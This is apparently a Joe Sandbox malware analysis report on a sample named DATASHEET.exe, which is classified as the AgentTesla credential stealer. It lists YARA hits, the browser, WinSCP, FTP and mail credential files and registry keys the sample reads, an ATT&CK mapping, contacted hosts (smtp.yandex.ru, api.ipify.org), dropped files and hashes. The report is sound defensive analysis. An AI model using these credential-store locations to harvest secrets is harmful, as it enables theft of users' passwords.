Source: Yara match	File source: 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DATASHEET.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3608, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DATASHEET.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3608, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1805867621.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DATASHEET.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DATASHEET.exe	55%	ReversingLabs	ByteCode-MSIL.Packed.Generic
DATASHEET.exe	47%	Virustotal		Browse
DATASHEET.exe	100%	Avira	HEUR/AGEN.1305393
DATASHEET.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	100%	Avira	HEUR/AGEN.1305393
C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	55%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://www.globalsign.	0%	Avira URL Cloud	safe
http://crl.gl	0%	Avira URL Cloud	safe
http://crl.gl(	0%	Avira URL Cloud	safe
http://crl.globalsign?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.yandex.ru	77.88.21.158	true	false		high
api.ipify.org	172.67.74.152	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	DATASHEET.exe, 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.globalsign.	RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	DATASHEET.exe, 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.gl	RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.gl(	RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.globalsign?	RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DATASHEET.exe, 00000000.00000002.1779039940.0000000002D15000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, jwvzGqkYNEejno.exe, 00000009.00000002.1824252057.00000000028E5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.88.21.158	smtp.yandex.ru	Russian Federation		13238	YANDEXRU	false
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559980
Start date and time:	2024-11-21 09:03:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DATASHEET.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 180 Number of non-executed functions: 22
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:04:27	API Interceptor	3x Sleep call for process: DATASHEET.exe modified
03:04:30	API Interceptor	40x Sleep call for process: powershell.exe modified
03:04:31	API Interceptor	3x Sleep call for process: jwvzGqkYNEejno.exe modified
03:04:33	API Interceptor	9428104x Sleep call for process: RegSvcs.exe modified
08:04:30	Task Scheduler	Run new task: jwvzGqkYNEejno path: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.88.21.158	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse
	BWr9qnCU8X.exe	Get hash	malicious	Unknown	Browse
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse
	Transferencias6231.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	TRANSFERENCIA BANCARIA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
172.67.74.152	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.yandex.ru	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse	77.88.21.158
	BWr9qnCU8X.exe	Get hash	malicious	Unknown	Browse	77.88.21.158
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	Transferencias6231.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	TRANSFERENCIA BANCARIA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
api.ipify.org	datasheet.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://www.canva.com/design/DAGXCpgrUrs/iMtluWgvWDmsrSdUOsij5Q/view?utm_content=DAGXCpgrUrs&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://pub-a652f10bc7cf485fb3baac4a6358c931.r2.dev/dreyflex.html	Get hash	malicious	Gabagool	Browse	104.26.12.205
	https://url.us.m.mimecastprotect.com/s/cx8GCJ6Aj8C8mZ33UVfXHy0nVz?domain=canva.com	Get hash	malicious	Unknown	Browse	104.26.12.205
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.67.74.152
	order and drawings_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
YANDEXRU	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse	77.88.21.158
	BWr9qnCU8X.exe	Get hash	malicious	Unknown	Browse	77.88.21.158
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse	77.88.21.90
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://vivantskincare.taplink.ws	Get hash	malicious	HTMLPhisher	Browse	93.158.134.119
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	87.250.250.119
	Cursor Commander.exe	Get hash	malicious	Unknown	Browse	213.180.204.90
CLOUDFLARENETUS	datasheet.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	ORDER 20240986 OA.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Secured Audlo_secpod.com_1524702658.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	https://texasbarcle.com/CLE/AAGateway.asp?lRefID=19203&sURL=https://famezik.com/#Zi5waWNhc3NvJG1hcmxhdGFua2Vycy5ncg==	Get hash	malicious	Unknown	Browse	1.1.1.1
	ArchivoNuevo.msi	Get hash	malicious	Unknown	Browse	162.159.140.238
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	datasheet.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ORDER 20240986 OA.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.74.152
	PO#8329837372938383839238PDF.exe	Get hash	malicious	XWorm	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	172.67.74.152
	https://ollama.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
	z1Tender_procurement_product_order__21_11_2024_.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.74.152
	ArchivoNuevo.msi	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	172.67.74.152
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152

Process:	C:\Users\user\Desktop\DATASHEET.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jwvzGqkYNEejno.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.380134126512796
Encrypted:	false
SSDEEP:	48:+WSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//MPUyus:+LHxvIIwLgZ2KRHWLOugss
MD5:	1EAEAFD7273274CDA83D273067B943D3
SHA1:	C866E2FAAE80546EB4C6471808DB0594AD65BD30
SHA-256:	B9F349DE2AEF9F4F3B1605CCAA89F9DE14F9DAEBF9FC5D596F4FF776534BF2A6
